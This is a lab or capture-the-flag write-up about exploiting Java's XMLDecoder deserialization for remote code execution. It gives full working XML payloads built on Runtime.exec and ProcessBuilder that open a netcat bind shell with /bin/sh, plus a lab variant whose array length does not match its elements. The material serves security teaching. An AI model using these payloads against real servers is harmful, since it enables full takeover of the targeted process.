Exploiting XMLDecoder for Remote Code Execution

1 Introduction

This document details the exploitation of a Java deserialization vulnerability using `XMLDecoder`. The scenario comes from a challenge used during the NullCon 2016 CTF, where an application allows users to sign and verify documents. This application is vulnerable because it uses Java's `XMLDecoder` to unserialize XML data, which can lead to arbitrary code execution.

2 What is XMLDecoder?

`XMLDecoder` is a Java class that deserializes objects from XML. It is part of the `java.beans` package and was introduced to provide a textual representation of JavaBeans.

However, if an application uses `XMLDecoder.readObject()` on attacker-controlled input, it allows deserialization of arbitrary classes with arbitrary methods invoked—including those that execute system commands.

3 Detecting XMLDecoder Usage

In this challenge, the server response clearly reveals the usage of `XMLDecoder`. The response is structured as follows:

```
<java version="1.7.0_67" class="java.beans.XMLDecoder">
    <object class="models.CTFSignature" id="CTFSignature0">
        <void class="models.CTFSignature" method="getField">
            <string>hash</string>
            <void method="set">
                <object idref="CTFSignature0"/>
                <string>33b6c7bd8cc4d313bf9f7ca2c73851da2b33d67e</string>
            </void>
        </void>
        <void class="models.CTFSignature" method="getField">
            <string>sig</string>
            <void method="set">
                <object idref="CTFSignature0"/>
                <string>ad87fbe389784e423b4545b4a1c8a4f873a6295e</string>
            </void>
        </void>
    </object>
</java>
```

4 Payload Construction Using Runtime.exec()

To exploit this vulnerability, we can execute system commands on the server. For instance, we might try to bind a shell using `netcat`:

```
Runtime run = Runtime.getRuntime();
String[] commands = new String[] {
    "/usr/bin/nc", "-l", "-p", "9999", "-e", "/bin/sh"
};
run.exec(commands);
```

This Java code can be transformed into an XMLDecoder-compatible payload.

XML Representation

```
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
    <object class="java.lang.Runtime" method="getRuntime">
        <void method="exec">
            <array class="java.lang.String" length="6">
                <void index="0">
                    <string>/usr/bin/nc</string>
                </void>
                <void index="1">
                    <string>-l</string>
                </void>
                <void index="2">
                    <string>-p</string>
                </void>
                <void index="3">
                    <string>9999</string>
                </void>
                <void index="4">
                    <string>-e</string>
                </void>
                <void index="5">
                    <string>/bin/sh</string>
                </void>
            </array>
        </void>
    </object>
</java>
```

5 Alternative: Using ProcessBuilder

Alternatively, the attacker can use `java.lang.ProcessBuilder` to start a process:

```
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
    <void class="java.lang.ProcessBuilder">
        <array class="java.lang.String" length="6">
            <void index="0">
                <string>/usr/bin/nc</string>
            </void>
            <void index="1">
                <string>-l</string>
            </void>
            <void index="2">
                <string>-p</string>
            </void>
            <void index="3">
```

```
                <string>9999</string>
            </void>
            <void index="4">
                <string>-e</string>
            </void>
            <void index="5">
                <string>/bin/sh</string>
            </void>
        </array>
        <void method="start" id="process"></void>
    </void>
</java>
```

6 Exploitation in the Lab

In this particular exercise, due to firewall restrictions, opening a reverse shell won't work. Instead, to validate the exercise and simulate command execution, you must run:

```
/usr/local/bin/score a94f696a-f51a-4161-a96c-19e0cfc7b6f7
```

So instead of spawning a shell, the payload should be modified to:

```
<java version="1.7.0_21" class="java.beans.XMLDecoder">
  <object class="java.lang.Runtime" method="getRuntime">
    <void method="exec">
      <array class="java.lang.String" length="3">
        <void index="0"><string>/usr/local/bin/score</string></void>
        <void index="1"><string>a94f696a-f51a-4161-a96c-19e0cfc7b6f7</
   string></void>
      </array>
    </void>
  </object>
</java>
```

7 Conclusion

This exercise demonstrated how insecure deserialization using Java's `XMLDecoder` can result in arbitrary code execution. It reinforces the fundamental security principle:

> *Never deserialize or parse user-controlled input using XMLDecoder or any deserialization method without strict validation.*

By crafting a malicious XML payload, we can trigger dangerous methods such as `Runtime.exec()` or `ProcessBuilder.start()`, gaining full control over the server process.

References

- https://docs.oracle.com/javase/8/docs/api/java/beans/XMLDecoder.html
- https://pentesterlab.com/exercises/xml_decoder/exercise